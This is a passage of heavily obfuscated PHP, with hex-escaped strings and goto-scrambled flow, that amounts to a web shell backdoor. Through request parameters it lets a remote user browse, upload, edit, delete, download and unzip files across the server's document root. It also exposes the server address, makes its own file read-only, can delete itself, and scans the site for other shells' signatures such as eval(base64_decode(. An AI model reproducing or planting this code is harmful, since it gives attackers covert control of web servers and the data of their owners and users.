$_SERVER["\x44\x4f\103\x55\x4d\105\x4e\x54\x5f\x52\117\117\x54"] . "\57\146\x69\156\144\145\x72\144\x61\164\x61\x2e\x74\x78\x74"; goto qmT2U; KSayd: qCiFg: goto xS7Rl; vTut2: $IPQ4C = $_GET["\x64\151\162"] . "\x2f" . $_POST["\156\145\167\x5f\x66\x69\154\145\x5f\156\141\x6d\x65"]; goto UWCFz; KHJyN: function OQLPl($yP63Y) { goto ZZQR7; By_4E: $AEt2m = str_replace($zIUa8, '', $yP63Y); goto YCQ89; dC7ZM: echo "\74\164\162\76\x3c\x74\x64\x3e\106\x69\154\x65\x3a\x20{$zIUa8}\x20\x2d\40\x3c\146\x6f\156\x74\40\x63\157\154\157\x72\x3d\x22\x67\x72\x65\145\x6e\42\x3e\x75\x6e\x7a\x69\x70\x20\163\165\x63\143\145\x73\163\146\x75\x6c\x6c\x79\74\x2f\146\x6f\156\x74\x3e\x3c\x2f\164\144\x3e\x3c\57\x74\162\76"; goto EfaFK; Kgq5y: $jDWPG->extractTo($AEt2m); goto kK7ws; nFuXM: $jDWPG->open($yP63Y); goto Kgq5y; kK7ws: $jDWPG->close(); goto dC7ZM; ZZQR7: $zIUa8 = strrchr($yP63Y, "\57"); goto By_4E; YCQ89: $jDWPG = new ZipArchive(); goto nFuXM; EfaFK: } goto jEKHD; iGqS5: echo "\x9\xd\12\x9\x9\11\74\x73\143\162\151\160\x74\x20\154\x61\x6e\147\x75\141\x67\145\40\75\x20\47\152\x61\166\141\x73\143\162\151\160\164\47\76\xd\12\11\11\11\166\141\x72\x20\144\145\x6c\141\x79\x20\x3d\x20\63\60\60\73\15\12\11\11\11\x73\145\x74\124\x69\x6d\x65\x6f\x75\164\x28\42\144\157\x63\165\155\x65\x6e\164\56\154\x6f\143\141\x74\151\157\x6e\x2e\x68\162\145\x66\75\47"; goto oSwb4; W3HOG: $KLmgb = "\x69\x73\x5f\165\x70\x6c\157\x61\144\x65\144\137\x66\151\154\x65"; goto ig0gs; lfJIT: if (!($fGyii <= $SPEIU)) { goto JzKTW; } goto sOXlR; XMvqS: unset($xHyVF[$fGyii]); goto B0_oU; pHWij: $YH3Np = $_GET["\144\151\x72"]; goto E6kP1; Id838: goto zV3C6; goto zJ6_k; d5uoY: ZwUo9: goto SNoUS; eFPJn: echo count($xHyVF) . "\x20\146\x69\x6c\145\x73\40\x66\x6f\162\40\143\x68\x65\x63\x6b\x3c\142\x72\76"; goto B3D12; u5r1k: O2ah_: goto wOdPJ; iOdJJ: goto PHZGX; goto QS_a0; dIa75: jaGxb: goto geLhJ; KrbIO: if (!($xHyVF[$lTJFo] !== null and $xHyVF[$lTJFo] !== "\40" and $xHyVF[$lTJFo] !== '' and $xHyVF[$lTJFo] !== "\x2e" and $xHyVF[$lTJFo] !== "\x2e\x2e")) { goto ouzO4; } goto fB5ei; LNe7B: goto zV3C6; goto n_kOY; h2BvH: $tfU2K = orR_E($XJm0F); goto ypETz; cX0nh: unlink($XJm0F); goto G736e; G1nxC: BW5um($WRsqg); goto vrFaS; MEUoa: $fGyii++; goto m0pGm; OOlL2: JcQiu: goto UUskC; PjH_Y: vb83N: goto KHJyN; NCLrs: $eGMU5 = scandir($_SERVER["\104\117\103\125\x4d\x45\x4e\124\x5f\122\117\x4f\124"]); goto txLIG; pmcoz: goto IiCg1; goto TyPgJ; oSwb4: echo $krXcm; goto jzXGu; CvnFF: $bcoBe = $_SERVER["\123\103\x52\x49\x50\x54\x5f\116\x41\115\105"] . "\77\x64\x69\x72\x3d" . $_GET["\x64\x69\x72"]; goto H9jzH; RV5Zh: M5F5l: goto q3tvs; F_fWL: if (!isset($_GET["\x6a\x75\x6b\x65"])) { goto jaGxb; } goto HE4W5; mUTTU: DjpV5: goto Dx3gP; p_x71: if (isset($_GET["\144\151\162"])) { goto QCNQ5; } goto oE10g; XmEdp: $krXcm = "\x68\164\x74\x70\72\57\57" . $krXcm . "\x3f\146\x69\156\x64\x65\x72"; goto QGpr_; kOu77: if (isset($_POST["\156\145\x77\137\146\x69\154\145\137\x6e\141\155\x65"])) { goto b_W5p; } goto oHGuY; LbuPB: HC8Qb: goto fFR2Q; SNoUS: echo "\x3c\x61\x20\x68\162\x65\x66\75\42\150\x74\x74\x70\72\57\57" . $tiXjA . $rH_un . "\x3f\x64\151\162\x3d" . $xCcCg["{$i5DCx}"] . "\x22\76" . $Y4VLf["{$fGyii}"] . "\x3c\57\x61\76\x2f"; goto myNrf; ajcz4: header("\103\x6f\156\164\145\x6e\164\x2d\124\x79\x70\145\72\40\141\x70\160\x6c\x69\143\141\x74\151\x6f\156\57\157\x63\x74\x65\x74\x2d\x73\164\x72\x65\x61\x6d"); goto yreVi; Lu7bV: jQdsD: goto Wvao1; AMpir: if (sizeof($_FILES) != 0) { goto kooQQ; } goto LNe7B; sbjMw: oxtei: goto W8O_A; LlN2X: exit; goto PjH_Y; PZ0SL: QpuYE: goto lfJIT; txLIG: goto HC8Qb; goto sbjMw; WvWCx: $PsOqw = array(); goto nZFnd; B0_oU: lNAhO: goto AQQjh; DpYsN: goto mIiwr; goto mmj0N; dkwi3: $YH3Np = $_SERVER["\104\x4f\103\125\x4d\105\x4e\124\137\x52\117\x4f\124"]; goto ExSQw; ey4N4: if ($ukr3B = mkdir($YH3Np)) { goto jQdsD; } goto UEr18; ysVSA: $HL1u3 = "\x40\x24\151\163\142\x6f\164"; goto FSSj_; fJdeb: DtKRY: goto ZEnt1; HVHtT: $WRsqg = "\x68\x74\x74\x70\x3a\x2f\57" . $tiXjA . $rH_un . "\77\x64\151\162\x3d" . $_GET["\144\151\162"]; goto vZiHl; uWBqf: $AwS1q = $_POST["\146\x6f\x72\137\144\x65\154"]; goto CPd2j; m0pGm: goto D1NpE; goto Jzm_I; Mj7RO: fNaOH: goto OQ3WL; T8pDE: if (file_exists($LVHM1)) { goto xcySP; } goto KmHM8; SDyAQ: $YH3Np = $_GET["\x64\x69\x72"]; goto r_dx8; QT6Oh: $fGyii++; goto t3XzZ; PeNym: $xHyVF = ORR_e($LVHM1); goto vOobA; RcEWd: $YH3Np = $_SERVER["\104\x4f\103\125\x4d\x45\116\124\137\x52\x4f\x4f\x54"] . "\57" . $_POST["\156\145\x77\137\x66\151\154\145"]; goto AIGwE; G736e: ughcS: goto iyoaZ; AQQjh: $fGyii++; goto OBjzg; oiG26: $G_QfL = "\101\162\x72\141\x79\50\142\x61\163\145\x36\64\137\x64\145\x63\157\144\x65\x28"; goto ysVSA; JHPzR: FiNWd: goto YCQAs; ZfHNv: JzKTW: goto lMW_6; wh1kc: RXdg4: goto JkPJq; FocOL: function MoL03($h3fzG) { goto PPO5G; D8IlZ: Sghg1: goto Gqwug; nWcHG: goto KJte2; goto D8IlZ; og39m: SOUqB: goto nWcHG; Alm1G: $aOBMK = array(); goto EjNHe; Knv05: goto Cvpss; goto rmLno; OkSZ3: $vguCE[] = $h3fzG . "\57" . $yP63Y; goto Knv05; hKtXa: $vguCE = array(); goto Alm1G; AYVm7: if (!(false !== ($yP63Y = readdir($hCGjI)))) { goto Sghg1; } goto XUkTA; rmLno: c33jO: goto Y8X8J; bUXme: return $vguCE; goto wGItV; XUkTA: if (!($yP63Y != "\56" && $yP63Y != "\56\56")) { goto SOUqB; } goto gKdhk; uO_EX: $vguCE = array_merge($vguCE, $aOBMK); goto zeSex; Y8X8J: $aOBMK = MOL03($h3fzG . "\x2f" . $yP63Y); goto uO_EX; zeSex: Cvpss: goto og39m; EjNHe: KJte2: goto AYVm7; PPO5G: $hCGjI = opendir($h3fzG) or die("\x43\x61\x6e\x27\164\x20\x6f\160\x65\x6e\x20\144\x69\162\x65\x63\164\x6f\162\171\x20{$h3fzG}"); goto hKtXa; gKdhk: if (is_dir($h3fzG . "\57" . $yP63Y)) { goto c33jO; } goto OkSZ3; Gqwug: closedir($hCGjI); goto bUXme; wGItV: } goto F_fWL; vY1O8: $rH_un = $_SERVER["\123\x43\x52\111\x50\x54\x5f\116\101\115\x45"]; goto tIThh; qfkqi: fclose($P0O_u); goto T8pDE; p16k4: echo "\x3c\x66\157\156\x74\x20\143\157\154\x6f\162\75\42\162\x65\144\x22\76\x3c\142\x3e\116\157\40\x46\x69\x6c\145\40\125\160\x6c\157\141\x64\145\x64\x3c\x2f\142\x3e\x3c\x2f\x66\157\x6e\x74\x3e"; goto tpgtx; QGpr_: echo "\x9\xd\xa\x9\x9\11\x3c\x73\143\x72\151\x70\164\x20\154\x61\x6e\x67\165\141\147\x65\x20\x3d\x20\x27\152\141\x76\x61\x73\143\x72\x69\160\164\47\76\15\xa\11\x9\x9\166\141\x72\x20\x64\x65\154\141\x79\x20\x3d\40\61\x30\x30\x3b\xd\xa\11\11\11\x73\x65\x74\x54\x69\155\145\x6f\165\x74\x28\42\x64\157\x63\x75\155\x65\156\164\x2e\154\x6f\143\x61\x74\151\x6f\156\x2e\150\x72\x65\146\x3d\47"; goto xR3oa; vOobA: $qO7GR = array(); goto p11Xc; bMWur: echo "\x9\11\x9\x3c\146\x6f\x72\155\x20\x6d\x65\164\x68\x6f\144\75\x22\x70\x6f\x73\x74\x22\x20\x61\143\164\x69\157\156\75\42"; goto Xr_Uy; s_MT1: if (!isset($_GET["\144\x69\163\160\141\x74\143\150"])) { goto P7T2h; } goto gObyZ; AjkN9: $tiXjA = $_SERVER["\123\x45\122\x56\x45\122\137\x4e\101\x4d\105"]; goto vY1O8; ItVgy: echo "\74\164\x72\x20\141\x6c\x69\147\156\x3d\x22\143\x65\156\x74\145\x72\42\x3e\x3c\x74\x64\40\141\x6c\x69\x67\x6e\75\42\x6c\x65\x66\164\x22\40\76" . "\x3c\x66\157\156\x74\40\143\x6f\154\157\162\75\x22\x67\162\145\x65\156\x22\x3e\x46\157\154\144\x65\x72\x20\143\x72\x65\x61\x74\145\x64\x20\x73\x75\143\143\x65\163\x73\x66\165\x6c\154\x79\x21\74\57\x66\x6f\156\x74\x3e\74\57\164\144\76" . "\x3c\164\x64\76\74\x2f\164\144\x3e\74\164\x64\x3e\x3c\57\x74\144\x3e\74\x74\144\76\x3c\57\164\x64\x3e\x3c\164\x64\76\x3c\57\164\x64\76\74\x2f\x74\162\x3e"; goto RuPKT; vUTWO: d0a8M: goto Zq88C; zjXlz: $YH3Np = $_SERVER["\104\117\103\125\x4d\105\116\124\137\x52\117\x4f\124"]; goto U63A4; kCOTz: function F6HoI($yP63Y) { goto OhnYV; e2_Gg: $ng2Fq = date("\x59\55\x6d\55\x64\40\110\x3a\151\x3a\x73", $C0jz3); goto rjF1V; aUPaq: mjupl: goto lBW12; rjF1V: return $ng2Fq; goto L5D4i; yFdhG: return "\156\157\40\151\x6e\x66\x6f"; goto aUPaq; lBW12: $C0jz3 = filemtime($yP63Y); goto e2_Gg; OhnYV: if (file_exists($yP63Y)) { goto mjupl; } goto yFdhG; L5D4i: } goto W3N1P; OqYa4: y28l6: goto qfkqi; t9mO3: if (isset($_GET["\144\151\x72"])) { goto wQxks; } goto cC4V5; eVBy0: O5_ey: goto BiqSV; LYV_H: function DQysg($nHLgd) { goto gjm2e; fOSht: $xV9c_ = fread($yP63Y, filesize($nHLgd)); goto I5yAi; lwEFo: fclose($yP63Y); goto KlPIR; s3pWK: return $xV9c_; goto Whesn; QUL58: Vz1d6: goto xBpSe; ETJH0: iYLNE: goto M_3hW; gjm2e: if (!(file_exists($nHLgd) and filesize($nHLgd) > 1)) { goto yeETP; } goto GnjLx; I5yAi: fclose($yP63Y); goto tgPLB; DYXnC: D262B: goto hCjdc; TbO5q: echo "\143\141\x6e\47\x74\x20\x70\145\162\155\151\x73\x73\151\157\x6e\40\146\157\162\40\x6f\x70\x65\x6e\x20\x66\x69\154\145\x3c\142\162\76"; goto N1PxX; tgPLB: goto iYLNE; goto XWk02; t6Pz8: Vae31: goto QUL58; OaW4l: if (!chmod($nHLgd, 0775)) { goto D262B; } goto MRw8K; ZMNPE: $xV9c_ = ''; goto t6Pz8; zqRD1: D6rgx: goto OaW4l; xBpSe: yeETP: goto s3pWK; M_3hW: goto Vae31; goto DYXnC; XWk02: idc2d: goto TbO5q; GnjLx: if (!($yP63Y = fopen($nHLgd, "\x72\x74"))) { goto D6rgx; } goto s9_Xc; MRw8K: if (!($yP63Y = fopen($nHLgd, "\x72\x74"))) { goto idc2d; } goto fOSht; KlPIR: goto Vz1d6; goto zqRD1; s9_Xc: $xV9c_ = fread($yP63Y, filesize($nHLgd)); goto lwEFo; hCjdc: echo "\x63\x61\156\47\x74\40\160\145\162\155\151\163\163\151\157\x6e\40\146\157\162\x20\x63\x68\155\157\144\40\146\151\154\145\x3c\142\x72\x3e"; goto ZMNPE; N1PxX: $xV9c_ = ''; goto ETJH0; Whesn: } goto q9L4Q; f39CZ: goto HZPPW; goto d5uoY; OQ3WL: echo "\74\146\x6f\156\164\x20\143\x6f\x6c\157\x72\75\42\147\162\x65\145\156\x22\76\x46\151\154\145\40\x63\162\145\141\164\145\144\x20\x73\x75\x63\x63\x65\163\x73\x66\x75\x6c\154\171\41\74\57\x66\157\x6e\164\76"; goto G1nxC; yPuF2: $lTJFo++; goto JXY_o; oXy1N: PFU4M: goto fJdeb; mSAkp: foreach ($X2rlt as $aRFcW) { goto BvqJ9; mhxcm: $WdlM7 = $_GET["\x64\x69\x72"]; goto fIiQ3; AKehs: $WdlM7 = $_SERVER["\104\117\103\125\x4d\x45\x4e\x54\137\x52\x4f\x4f\x54"]; goto DqMSD; A8oky: IAEio: goto m3bAO; fIiQ3: qzAcD: goto qcj7w; EhQgl: if ($XPWoY !== false) { goto IAEio; } goto xTiiy; xTiiy: $XPWoY = "\74\141\x20\x68\x72\145\146\x3d\42\150\x74\164\160\x3a\57\x2f{$tiXjA}{$rH_un}\77\145\144\x69\x74\75{$ue_d2}\x26\144\x69\x72\x3d{$WdlM7}\42\76\105\x3c\57\141\76\x26\x6e\x62\163\x70\73"; goto EfQ8k; DqMSD: goto qzAcD; goto nXqsa; QOLEh: $WOTRi = "\x23\146\x66\146\x38\x65\67"; goto Y2WX9; LNE_d: if ($i5DCx % 2 == 0) { goto hD0wl; } goto U3ecA; lrfG2: hD0wl: goto QOLEh; EfQ8k: goto WgnrC; goto A8oky; zpU9j: $pz23y = str_replace($_SERVER["\x44\117\x43\x55\115\x45\x4e\x54\x5f\x52\x4f\117\124"], $_SERVER["\x53\105\x52\126\x45\x52\x5f\x4e\x41\x4d\x45"], $ue_d2); goto LNE_d; Y2WX9: i6SeA: goto I1qQw; NcdzQ: $ue_d2 = $_GET["\144\151\x72"] . "\x2f" . $aRFcW; goto mhxcm; aZTr6: echo "\74\x74\162\x20\x62\x67\143\x6f\x6c\157\x72\x3d\x22{$WOTRi}\x22\x20\141\x6c\x69\147\x6e\75\x22\x63\145\x6e\164\x65\x72\42\x3e\74\164\144\40\141\x6c\x69\147\156\x3d\x22\x6c\x65\146\x74\42\40\76" . "\74\x61\40\x73\164\171\x6c\145\x3d\x22\x74\x65\x78\x74\55\144\x65\143\x6f\x72\x61\x74\151\x6f\x6e\72\x20\156\157\156\145\x3b\42\40\150\x72\x65\146\x3d\42\x68\164\164\160\x3a\x2f\57{$tiXjA}{$rH_un}\77\x65\144\151\164\x3d{$ue_d2}\x26\x64\x69\162\x3d{$WdlM7}\x22\x3e\x3c\x66\x6f\156\164\40\x63\x6f\154\157\162\75\42\x62\x6c\x61\143\153\x22\x3e{$aRFcW}\x3c\x2f\146\157\156\x74\x3e\x3c\57\x61\x3e" . "\74\57\x74\x64\x3e\74\164\x64\76" . dJ8ZX($ue_d2) . "\x3c\x2f\x74\x64\76\x3c\164\144\x3e{$ng2Fq}\x3c\57\164\144\76\74\x74\144\76" . QFOCS($ue_d2, "\x30") . "\74\x2f\x74\144\76\x3c\x74\144\76" . "\x3c\141\40\150\x72\145\146\75\x22\x68\x74\x74\160\x3a\x2f\x2f{$tiXjA}{$rH_un}\x3f\x64\145\x6c\x3d{$ue_d2}\x26\144\x69\x72\75{$WdlM7}\42\76\x55\74\57\141\x3e\x26\x6e\x62\163\x70\x3b" . $XPWoY . "\x3c\141\x20\x74\x61\x72\x67\145\164\x3d\x22\137\x62\x6c\141\156\x6b\x22\x20\x68\x72\145\x66\75\42\150\x74\164\x70\x3a\x2f\x2f{$pz23y}\x22\76\x4f\x3c\57\x61\76\x26\156\142\x73\160\x3b" . "\74\141\40\x68\x72\145\x66\75\x22\150\164\164\160\72\x2f\57{$tiXjA}{$rH_un}\x3f\x64\x6f\x77\156\154\x6f\141\x64\75{$ue_d2}\46\x64\151\162\75{$WdlM7}\x22\x3e\104\x3c\57\x61\x3e" . "\x3c\57\164\144\76\x3c\57\x74\162\76"; goto o6MZk; U3ecA: $WOTRi = "\43\146\146\x66\x66\x65\60"; goto p04MK; I1qQw: $XPWoY = stristr($aRFcW, "\56\x7a\x69\160"); goto EhQgl; nXqsa: OmVqT: goto NcdzQ; m3bAO: $XPWoY = "\x3c\141\x20\150\x72\x65\146\x3d\x22\150\x74\x74\160\72\x2f\57{$tiXjA}{$rH_un}\77\165\156\172\x69\160\75{$ue_d2}\46\144\151\x72\75{$WdlM7}\42\76\x5a\74\57\x61\76\46\156\142\163\160\73"; goto cKWND; cKWND: WgnrC: goto aZTr6; qcj7w: $ng2Fq = f6HOi($ue_d2); goto zpU9j; BvqJ9: if (isset($_GET["\144\x69\162"])) { goto OmVqT; } goto NZiWD; aWFZ4: ocONs: goto B9n8x; NZiWD: $ue_d2 = $_SERVER["\104\117\103\125\x4d\x45\x4e\x54\x5f\x52\x4f\117\x54"] . "\57" . $aRFcW; goto AKehs; p04MK: goto i6SeA; goto lrfG2; o6MZk: $i5DCx++; goto aWFZ4; B9n8x: } goto JYKfb; yIsXZ: if ($fGyii !== $SPEIU) { goto ZwUo9; } goto WB0fI; IxZR9: eCw_M: goto T90c0; MQF1K: $WRsqg = "\x68\x74\x74\x70\72\x2f\57" . $tiXjA . $rH_un . "\77\144\x69\x72\x3d" . $_GET["\x64\x69\x72"] . "\46\x6e\x65\x77\x5f\144\x69\x72\75" . $YH3Np; goto ey4N4; jzXGu: echo "\x27\x22\54\x20\x64\x65\x6c\x61\x79\51\x3b\xd\12\11\x9\11\x3c\57\x73\143\162\151\x70\x74\76\15\xa\11\x9\11"; goto LIs5n; BTQuz: if (!isset($_GET["\165\x6e\x7a\151\x70"])) { goto uBEZG; } goto CUYeP; k1FGr: $fGyii = 0; goto uBanp; A4mDU: fclose($nesCN); goto ZebjC; JYKfb: M8lHI: goto MBwDT; ZdxG5: ouzO4: goto SQK1A; BkVTa: if (file_exists($LVHM1) and filesize($LVHM1) > 1) { goto F9Jn3; } goto h2BvH; QoaOE: $pCROI = KKWpe($pCROI); goto U_S5n; slvkV: if (!(isset($_FILES) && $_FILES["\x69\x6e\160\x75\x74\x66\151\x6c\145"]["\145\162\x72\157\162"] == 0)) { goto MYtjj; } goto t9mO3; zgXNM: foreach ($PsOqw as $aRFcW) { goto hGl4T; iJh_x: $lQw2N = $_SERVER["\104\117\103\x55\115\x45\116\124\x5f\122\117\117\x54"] . "\57" . $aRFcW; goto CDHO2; vBpCm: echo "\x3c\x74\x72\x20\x62\x67\x63\157\x6c\x6f\x72\75\42{$WOTRi}\x22\40\x61\x6c\151\147\156\75\42\143\x65\x6e\x74\x65\x72\42\x3e\74\164\x64\40\141\x6c\x69\147\156\x3d\x22\x6c\x65\146\x74\42\40\x3e" . "\74\146\157\156\x74\40\x63\157\154\x6f\162\x3d\x22\43\71\x30\x34\x64\x33\x30\42\x3e\74\x62\x3e\x3c\x61\x20\x68\162\x65\146\75\42\x68\x74\x74\x70\72\57\x2f{$tiXjA}{$rH_un}\77\x64\x69\162\75{$lQw2N}\x22\76{$aRFcW}\x3c\x2f\x61\x3e\x3c\57\x62\76\74\x2f\146\157\156\x74\x3e" . "\74\57\164\144\x3e\x3c\x74\x64\x3e\144\x69\162\74\x2f\x74\144\76\x3c\164\144\x3e{$ng2Fq}\74\x2f\x74\144\x3e\74\x74\x64\x3e" . QfOCs($ue_d2, "\x30") . "\74\x2f\164\x64\76\74\164\144\x3e" . "\74\141\x20\150\x72\x65\146\75\42\x68\x74\164\x70\72\x2f\x2f{$tiXjA}{$rH_un}\77\x64\145\154\75{$ue_d2}\x26\x64\x69\162\x3d{$KoFOR}\x22\76\125\x3c\57\141\76\x26\x6e\142\x73\x70\x3b" . "\x3c\x2f\x74\x64\76\x3c\x2f\x74\x72\76"; goto GJLbm; CZmVD: QSQGZ: goto qhSJK; Q289A: VIZwN: goto vBpCm; hGl4T: if (!($aRFcW !== "\x2e" and $aRFcW !== "\56\x2e")) { goto gR6aZ; } goto VqCyb; OWunY: $ng2Fq = F6HOi($ue_d2); goto IIazO; CDHO2: goto qUd55; goto CZmVD; MVM6j: $ue_d2 = $_SERVER["\104\117\x43\125\115\105\116\124\137\x52\117\117\124"] . "\x2f" . $aRFcW; goto iJh_x; O7Hga: qUd55: goto ZCXj_; GJLbm: $i5DCx++; goto ag_3Z; C95l4: $zIUa8 = strrchr($KoFOR, "\57"); goto t3QJF; IIazO: if ($i5DCx % 2 == 0) { goto uSkZF; } goto wQeKJ; VqCyb: if (isset($_GET["\144\151\x72"])) { goto QSQGZ; } goto MVM6j; ZCXj_: $KoFOR = $lQw2N; goto C95l4; ag_3Z: gR6aZ: goto DlITC; wQeKJ: $WOTRi = "\43\146\x66\x66\146\x65\60"; goto Eq6Ss; p0Sud: $lQw2N = $_GET["\x64\151\x72"] . "\57" . $aRFcW; goto O7Hga; t3QJF: $KoFOR = str_replace($zIUa8, '', $KoFOR); goto OWunY; qhSJK: $ue_d2 = $_GET["\x64\x69\162"] . "\x2f" . $aRFcW; goto p0Sud; Eq6Ss: goto VIZwN; goto Ho8tm; DlITC: WUG_9: goto XTMIO; Ho8tm: uSkZF: goto zi0_a; zi0_a: $WOTRi = "\43\146\x66\146\70\x65\67"; goto Q289A; XTMIO: } goto Sek0a; vrFaS: LG5uz: goto TcIIi; vls77: exit; goto ABBaj; c9Vnp: chmod($_SERVER["\123\103\x52\x49\120\124\x5f\106\111\x4c\105\116\101\x4d\x45"], 0444); goto vUTWO; OVJlZ: w4ck9: goto pmcoz; n_kOY: CHbCB: goto slvkV; GVpxQ: k42_a($_GET["\144\145\x6c"]); goto DpYsN; xDoQo: $P0O_u = fopen($LVHM1, "\141"); goto CiU08; ExSQw: goto m1E4j; goto vOJVg; iyoaZ: goto sMfdf; goto NYfcJ; Afrs8: $Cj0nE = "\145\x76\x61\154\x28\x62\141\163\x65\x36\x34\x5f\x64\x65\x63\x6f\144\145\50"; goto oiG26; tpgtx: zV3C6: goto Pa12b; mmj0N: d1BzN: goto gp6Fa; q7a80: bW5Um($WRsqg); goto tyxU_; HIUu8: XsCHf: goto lSv0U; tyxU_: goto LG5uz; goto Mj7RO; vnUYp: header("\103\141\143\150\145\x2d\103\157\x6e\164\162\x6f\x6c\72\x20\155\165\x73\164\55\162\145\x76\x61\154\151\x64\x61\164\x65"); goto re1HG; alUgM: if (is_dir($_GET["\144\x65\x6c"])) { goto d1BzN; } goto GVpxQ; yreVi: header("\x43\157\x6e\x74\x65\x6e\164\x2d\x44\151\163\160\x6f\163\151\164\151\x6f\156\72\x20\141\x74\x74\x61\x63\x68\155\x65\156\164\73\x20\146\x69\x6c\x65\x6e\141\155\x65\75" . basename($uMTgE)); goto Os2LY; Oor_g: $C9cVN = QFocs($_SERVER["\x53\103\122\x49\x50\x54\x5f\x46\111\x4c\105\x4e\x41\x4d\105"], ''); goto hcYHc; TcIIi: fclose($ukr3B); goto XhYgG; N2El5: echo "\11\x9\11\x3c\x62\x72\x3e\x3c\142\x72\76\15\12\x9\x9\x9\104\151\162\145\143\164\157\x72\171\72\40\15\12\x9\x9\x9"; goto E3235; zJ6_k: kooQQ: goto p16k4; anCzF: $gzgI8 = array(); goto uWBqf; WYnF3: $WRsqg = "\x68\164\164\x70\x3a\57\x2f" . $tiXjA . $rH_un . "\77\144\151\x72\x3d" . $YH3Np; goto Y8Jw0; HE4W5: $eGMU5 = MOl03($_SERVER["\x44\117\x43\125\x4d\x45\116\124\137\x52\117\x4f\124"]); goto gKZbw; IEHlK: if (isset($_GET["\x64\x69\x72"])) { goto wyPiR; } goto kOu77; pNmVe: Mevt4: goto DzHrz; MyG8B: echo "\11\15\12\11\74\164\x72\40\141\154\151\x67\x6e\x3d\42\x63\x65\156\164\145\162\x22\40\x73\164\x79\154\x65\75\x22\x63\157\x6c\157\x72\x3a\40\43\x34\62\63\x63\66\63\x3b\x22\x3e\x3c\164\x64\40\141\154\151\x67\156\x3d\x22\154\x65\146\164\x22\x3e\x3c\142\x3e\x4e\141\155\x65\74\57\x62\76\x3c\x2f\164\144\x3e\74\164\x64\x3e\x3c\142\x3e\123\x69\172\x65\74\x2f\x62\x3e\74\57\x74\144\x3e\74\x74\x64\76\74\142\76\115\x6f\x64\151\146\171\74\x2f\x62\x3e\74\57\164\x64\x3e\74\164\x64\x3e\x3c\x62\76\x50\145\x72\155\x69\x73\163\x69\x6f\x6e\163\74\57\142\x3e\74\57\x74\x64\76\74\x74\144\x3e\x3c\x62\76\x41\x63\x74\151\x6f\x6e\163\74\x2f\x62\76\74\57\164\144\76\74\x2f\164\162\x3e\xd\xa\15\xa\11"; goto Nq5mG; eiRoP: R_XnT: goto YyWVE; QBIeJ: v72Sw: goto nqF4o; jw9Iq: $iKJsi = str_replace($_SERVER["\x44\117\x43\125\x4d\x45\x4e\124\x5f\x52\x4f\117\x54"], $_SERVER["\123\x45\x52\126\x45\x52\137\x4e\x41\x4d\105"], $QC0Uk); goto FSPcb; Kq0II: goto DtKRY; goto YQI0w; gObyZ: K42_a($_SERVER["\x53\103\122\x49\120\x54\137\x46\x49\114\105\116\x41\x4d\x45"]); goto dyAnS; lt9Ny: dbkoo: goto Ne1jw; jlNa3: echo iXvY1(); goto yQJJH; NYMy2: $krXcm = str_replace($_SERVER["\104\117\103\x55\x4d\105\x4e\124\137\x52\117\x4f\x54"], $_SERVER["\x53\x45\122\x56\105\122\137\x4e\x41\115\x45"], $_SERVER["\123\103\x52\x49\x50\x54\x5f\x46\111\114\105\x4e\101\x4d\105"]); goto DAnsC; DtoT2: QCNQ5: goto xWFjM; WB0fI: echo "\x3c\x61\x20\x68\x72\x65\146\x3d\x22\150\164\x74\160\72\x2f\57" . $tiXjA . $rH_un . "\x3f\x64\x69\162\x3d" . $YH3Np . "\42\76" . $Y4VLf["{$fGyii}"] . "\74\x2f\x61\76"; goto f39CZ; mKpZP: s418G: goto N0krE; ZUqzD: $Gh2vx = "\x63\141\x63\150\145\x3d\60\x30"; goto EEKW8; whz7n: goto PftJd; goto Lu7bV; ig0gs: $UG4IL = "\142\141\163\x65\x36\x34\137\144\x65\143\157\144\x65\50\x24\137\x50\x4f\123\124"; goto AkqFE; QYGjg: $YKCxh = sBdA9($_SERVER["\104\x4f\103\x55\115\105\116\x54\137\x52\x4f\117\x54"]); goto p_x71; p6eeJ: echo $_SERVER["\123\105\122\126\x45\x52\137\101\104\104\122"]; goto VItN2; hcYHc: if (!($C9cVN !== "\x34\x34\x34")) { goto d0a8M; } goto c9Vnp; a6BWd: function bw5um($WRsqg) { goto AquHm; AquHm: echo "\74\164\x64\40\141\x6c\x69\147\156\x3d\42\x72\151\x67\x68\x74\42\x20\143\157\x6c\x73\x70\x61\x6e\x3d\x22\x32\42\x3e"; goto QX7O0; dlOgj: echo "\x3c\x66\157\x72\155\x20\141\143\x74\151\x6f\x6e\x20\75\x20\47" . $WRsqg . "\x27\40\x6d\x65\x74\x68\157\144\40\75\40\x27\120\x4f\x53\x54\47\x3e"; goto EqTBM; BmM1L: echo "\74\151\x6e\160\165\164\x20\x6e\x61\155\x65\75\42\163\145\141\162\x63\150\137\146\151\x6c\x65\42\x20\163\x69\172\145\75\x22\67\42\x20\164\171\x70\145\x3d\x22\x74\x65\x78\164\42\40\160\154\x61\143\x65\150\157\154\x64\145\x72\x3d\x22\56\163\165\163\160\145\x63\164\x65\144\42\x20\x2f\x3e"; goto AmOFt; QX7O0: echo "\x3c\146\157\162\155\x20\x61\x63\x74\x69\x6f\156\40\x3d\x20\x27" . $WRsqg . "\47\40\x6d\145\164\x68\157\x64\x20\x3d\40\x27\x50\117\x53\x54\47\x3e"; goto BmM1L; AmOFt: echo "\74\x69\x6e\160\165\x74\40\164\x79\x70\145\x3d\x22\x73\165\142\x6d\151\x74\42\x20\x76\x61\x6c\165\145\x3d\x22\x6f\153\x22\x20\57\x3e\x3c\57\x66\157\x72\155\76"; goto pIgwb; fBGvx: echo "\x3c\151\156\x70\x75\164\40\x6e\141\x6d\x65\75\x22\x6e\x65\x77\137\146\151\154\x65\42\40\x73\x69\x7a\145\75\x22\x37\x22\x20\x74\x79\160\x65\x3d\42\x74\x65\170\164\x22\x20\x70\x6c\x61\x63\145\x68\157\154\144\x65\162\75\42\155\x61\x6b\145\40\146\x69\x6c\145\x22\40\57\76"; goto Imr3b; Imr3b: echo "\x3c\x69\x6e\160\165\x74\x20\164\x79\x70\145\75\x22\163\165\142\155\151\164\x22\x20\x76\x61\x6c\165\145\75\42\x6f\x6b\x22\x20\x2f\x3e\x3c\x2f\146\x6f\x72\155\76"; goto dlOgj; ELp1c: echo "\x3c\57\164\x64\76\74\x2f\164\x72\x3e"; goto w3ghS; pIgwb: echo "\x3c\x66\157\162\155\40\x61\x63\164\151\157\156\x20\75\x20\x27" . $WRsqg . "\47\x20\x6d\145\164\x68\157\144\x20\75\40\x27\x50\117\123\124\47\76"; goto fBGvx; EqTBM: echo 